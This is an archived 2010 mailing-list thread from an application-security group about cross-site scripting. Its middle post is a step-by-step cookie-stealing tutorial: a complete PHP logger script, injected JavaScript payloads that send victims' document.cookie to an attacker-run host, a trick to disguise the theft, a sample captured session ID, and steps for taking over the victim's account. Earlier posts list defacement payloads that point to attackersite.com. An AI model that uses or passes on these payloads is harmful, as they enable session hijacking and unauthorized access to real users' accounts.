I believe you all know the difference between Cookie and Session. Ofcourse both refers to some kind of storage of important information... but... the storage for Cookie specifically in Client (browser) and Session specifically in Server (Web server) respectively.
So considering Naik's question on listing all cookies or sessions, the answer is below: >> Incase of Cookie, Yes you can write a Javascript to find/list all the cookies irrespective of the websites the user visits... All that you need to ensure is, user shall be tricked to load your custom script. A sample script to list all the cookies can be referred from the below URL: http://www.electrictoolbox.com/javascript-get-all-cookies/ >> Incase of Sessions, Yes, you can list the session but is only of active session. I hope this clarifies everyone. For more information on similar questions along with this, visit the below URL: http://classicasp.aspfaq.com/general/how-do-i-access-all-active-sessions-on-the-server.html Regards Sandeep Thakur On Tue, May 18, 2010 at 3:34 PM, kishore kumar <[email protected]> wrote: > The answer is yes. > Any User who's session is active when clicks this script by any means his > cookie will be stored in log.txt. > > > On 18 May 2010 13:09, N41K <[email protected]> wrote: > >> Hi, >> >> I would like to raise an doubt here. My concern issue was stealing >> cookies depends on Active Sessions. So inorder to steal a cookie there >> should exists an active session. But, if there are multiple active >> sessions going, then does all the cookies get stolen and reecorded in >> log.txt file as in the format you described? >> >> Regards, >> 0xN41K >> >> On May 17, 9:10 am, kishore kumar <[email protected]> wrote: >> > *Stealing Cookies With XSS* : >> > >> > Using XSS to Steal Cookies >> > >> > once u find out that a particular page is vulnerable to XSS injection, >> Now >> > what? You want to make it do something useful, like steal cookies. >> Cookie >> > stealing is when you insert a script into the page so that everyone that >> > views the modified page inadvertently sends you their session cookie. By >> > modifying your session cookie, you can impersonate any user who viewed >> the >> > modified page. So how do you use XSS to steal cookies? >> > >> > The easiest way is to use a three-step process consisting of the >> injected >> > script, the cookie recorder, and the log file. >> > >> > First you'll need to get an account on a server and create two files, >> > log.txt and cookiesteal.php. You can leave log.txt empty. This is the >> file >> > your cookie stealer will write to. Now paste this php code into your >> cookie >> > stealer script (cookiesteal.php): >> > >> > Code: >> > >> > <?php >> > >> > function GetIP() >> > { >> > if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), >> > "unknown")) >> > $ip = getenv("HTTP_CLIENT_IP"); >> > else if (getenv("HTTP_X_FORWARDED_FOR") && >> > strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) >> > $ip = getenv("HTTP_X_FORWARDED_FOR"); >> > else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), >> > "unknown")) >> > $ip = getenv("REMOTE_ADDR"); >> > else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && >> > strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) >> > $ip = $_SERVER['REMOTE_ADDR']; >> > else >> > $ip = "unknown"; >> > return($ip); >> > >> > } >> > >> > function logData() >> > { >> > $ipLog="log.txt"; >> > $cookie = $_SERVER['QUERY_STRING']; >> > $register_globals = (bool) ini_get('register_gobals'); >> > if ($register_globals) $ip = getenv('REMOTE_ADDR'); >> > else $ip = GetIP(); >> > >> > $rem_port = $_SERVER['REMOTE_PORT']; >> > $user_agent = $_SERVER['HTTP_USER_AGENT']; >> > $rqst_method = $_SERVER['METHOD']; >> > $rem_host = $_SERVER['REMOTE_HOST']; >> > $referer = $_SERVER['HTTP_REFERER']; >> > $date=date ("l dS of F Y h:i:s A"); >> > $log=fopen("$ipLog", "a+"); >> > >> > if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", >> $ipLog)) >> > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: >> > $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | >> > COOKIE: $cookie <br>"); >> > else >> > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: >> > $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | >> COOKIE: >> > $cookie \n\n"); >> > fclose($log); >> > >> > } >> > >> > logData(); >> > >> > ?> >> > >> > This script will record the cookies of every user that views it. >> > >> > Now we need to get the vulnerable page to access this script. We can do >> that >> > by modifying our earlier injection: >> > >> > Code: >> > >> > "><script language= "JavaScript">document.location=" >> http://yoursite.com/cookiesteal.php?cookie="; + >> > document.cookie;document.location="http://www.whateversite.com >> "</script> >> > >> > yoursite.com is the server you're hosting your cookie stealer and log >> file >> > on, and whateversite.com is the vulnerable page you're exploiting. The >> above >> > code redirects the viewer to your script, which records their cookie to >> your >> > log file. It then redirects the viewer back to the unmodified search >> page so >> > they don't know anything happened. Note that this injection will only >> work >> > properly if you aren't actually modifying the page source on the >> server's >> > end. Otherwise the unmodified page will actually be the modified page >> and >> > you'll end up in an endless loop. While this is a working solution, we >> could >> > eliminate this potential issue when using source-modifying injections by >> > having the user click a link that redirects them to our stealer: >> > >> > Code: >> > >> > "><a href="#" onclick="document.location=' >> http://yoursite.com/cookiesteal.php?cookie=' >> > +escape(document.cookie);"><Click Me></a></script> >> > >> > This will eliminate the looping problem since the user has to cilck on >> it >> > for it to work, and it's only a one-way link. Of course, then the user's >> > trail ends at your cookie stealing script, so you'd need to modify that >> code >> > a little to keep them from suspecting what's going on. You Could just >> add >> > some text to the page saying something like "under construction" by >> changing >> > the end of our php script from this: >> > >> > Code: >> > >> > logData(); >> > ?> >> > >> > to this: >> > Code: >> > >> > logData(); >> > >> > echo '<b>Page Under Construction</b>' >> > ?> >> > >> > Now when you open log.txt, you should see something like this: >> > >> > Code: >> > >> > IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; >> Linux >> > i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) >> > Firefox/3.0.8 | METHOD: | REF: IFA :: Institute of Financial Advisers :: >> > Find An Adviser< >> http://www.mastiya.com/redirector.php?url=http%3A%2F%2Fwww.mastiya.co.. >> .>| >> > >> > DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE: >> > cookie=PHPSESSID=889c6594db2541db1666cefca7537373 >> > >> > You will most likely see many other fields besides PHPSESSID, but this >> one >> > is good enough for this example. Now if the applications session >> management >> > is not proper using the cookie value one can access the Victims account >> just >> > by replacing the cookie value (using a proxy like burp or paros).The >> server >> > thinks you're the user you stole the cookie from. This way you can log >> into >> > accounts and many other things without even needing to know the >> passwords or >> > usernames. >> > >> > Summary >> > >> > So in summary: >> > 1. Test the page to make sure it's vulnerable to XSS injections. >> > 2. Once you know it's vulnerable, upload the cookie stealer php file and >> log >> > file to your server. >> > 3. Insert the injection into the page via the url or text box. >> > 4. Grab the link of that page with your exploited search query (if >> injection >> > is not stored on the server's copy of the page). >> > 5. Get someone to use that link if necessary. >> > 6. Check your log file for their cookie. >> > 7. Replace your own cookie with the captured one and access the Victims >> > account. >> > *** Please do add points for this topic. >> > >> > On 16 May 2010 10:10, N41K <[email protected]> wrote: >> > >> > >> > >> > > Hi, >> > >> > > Further level of XSS........ >> > >> > > Q. What can be done with XSS? >> > > Q. How severe can XSS effect? >> > >> > > The below inputs gives us a clarity what actually XSS is worth of!!!!! >> > >> > > Checkout the Principle methods of Defacing using XSS: >> > >> > > Defacement using Image: >> > > <IMG SRC="http://attackersite.com/malicious.png";> >> > >> > > Defacement using a Flash Video: >> > > <EMBED SRC="http://attackersite.com/malicious.swf"; >> > >> > > Defacement using Redirection to attackers Page: >> > > <script>window.open( "http://www.attackersite.com/malicious.html"; )</ >> > > script> >> > >> > > Also: >> > > <meta http-equiv="refresh" content="0; url=http://attackersite.com/ >> > > malicious.html" /> >> > >> > > Now, after going thru the above inputs we can understand how severe >> > > its effect can be. >> > > As an conclusion, XSS can compromise your system and also turnup to be >> > > a zombie. >> > >> > > ***Please quote your inputs to have more elaborated and different ways >> > > to hit XSS. >> > >> > > Regards, >> > > 0xN41K >> > >> > > On May 12, 7:38 am, N41K <[email protected]> wrote: >> > > > Hi, >> > >> > > > From today onwards we are going to have Chapters for >> Application >> > > > Security. Hope every one will put there expertise and make this >> > > > Chapter a fully informative. >> > >> > > > Lets, GoAhead with XSS (Cross Site Scripting) >> > >> > > > Cross Site Scripting is a browser exploit taking advantage of a >> > > > vulnerability within a zone-based security solution. >> > > > The attack allows content (scripts) in unprivileged zones to be >> > > > executed with the permissions of a privileged zone - i.e. >> > > > a privilege escalation within the client (web browser) executing the >> > > > script. >> > >> > > > The attack can occur on: >> > >> > > > * a web browser (HTTP Client) vulnerability which under some >> > > > conditions allows content (scripts) >> > > > to be executed with the permissions of a higher privileged >> > > > zone(Administrator). >> > >> > > > * a web browser configuration error; unsafe sites listed in >> > > > privileged zones. >> > >> > > > * a cross-site scripting vulnerability(from Web Application) >> > > > within a privileged zone >> > >> > > > The common attack scenario involves two steps: >> > > > i. To use XSS vulnerability and execute scripts within a >> > > > privileged Zone. The Script may be any JS(JavaScript) which >> > > > performs some malicious action. >> > > > ii. Hit the vulnerability using ActiveX components( PC gets >> > > > Compromised). >> > >> > > > Such Vulnerabilities has been exploited and silently installed >> various >> > > > MALWARES ( such as Remote control Software, Worms, Viruses, Trojans, >> > > > Keyloggers, etc..) >> > >> > > > All such things happens when a user Browses a malicious Web Page. >> > >> > > > Finally, Use a Safer Web Browser and Surf a Safer Web Site. >> > >> > > > *** If any one would like to add points for this topic, All are >> > > > welcome. >> > >> > > > Regards, >> > > > 0xN41K >> > >> > > > -- >> > > > You received this message because you are subscribed to the Google >> Groups >> > > "nforceit" group. >> > > > To post to this group, send an email to [email protected]. >> > > > To unsubscribe from this group, send email to >> > > [email protected]<nforceit%[email protected]> >> <nforceit%[email protected]<nforceit%[email protected]> >> > >> > > . >> > > > For more options, visit this group athttp:// >> > > groups.google.com/group/nforceit?hl=en-GB. >> > >> > > -- >> > > You received this message because you are subscribed to the Google >> Groups >> > > "nforceit" group. >> > > To post to this group, send an email to [email protected]. >> > > To unsubscribe from this group, send email to >> > > [email protected]<nforceit%[email protected]> >> <nforceit%[email protected]<nforceit%[email protected]> >> > >> > > . >> > > For more options, visit this group at >> > >http://groups.google.com/group/nforceit?hl=en-GB. >> > >> > -- >> > Regards, >> > kishore sangaraju >> > >> > -- >> > You received this message because you are subscribed to the Google >> Groups "nforceit" group. >> > To post to this group, send an email to [email protected]. >> > To unsubscribe from this group, send email to >> [email protected]<nforceit%[email protected]> >> . >> > For more options, visit this group athttp:// >> groups.google.com/group/nforceit?hl=en-GB. >> >> -- >> You received this message because you are subscribed to the Google Groups >> "nforceit" group. >> To post to this group, send an email to [email protected]. >> To unsubscribe from this group, send email to >> [email protected]<nforceit%[email protected]> >> . >> For more options, visit this group at >> http://groups.google.com/group/nforceit?hl=en-GB. >> >> > > > -- > Regards, > kishore sangaraju > > -- > You received this message because you are subscribed to the Google Groups > "nforceit" group. > To post to this group, send an email to [email protected]. > To unsubscribe from this group, send email to > [email protected]<nforceit%[email protected]> > . > For more options, visit this group at > http://groups.google.com/group/nforceit?hl=en-GB. > -- You received this message because you are subscribed to the Google Groups "nforceit" group. To post to this group, send an email to [email protected]. To unsubscribe from this group, send email to [email protected]. For more options, visit this group at http://groups.google.com/group/nforceit?hl=en-GB.
![http://attackersite.com/malicious.png"](http://attackersite.com/malicious.png"){kind=link}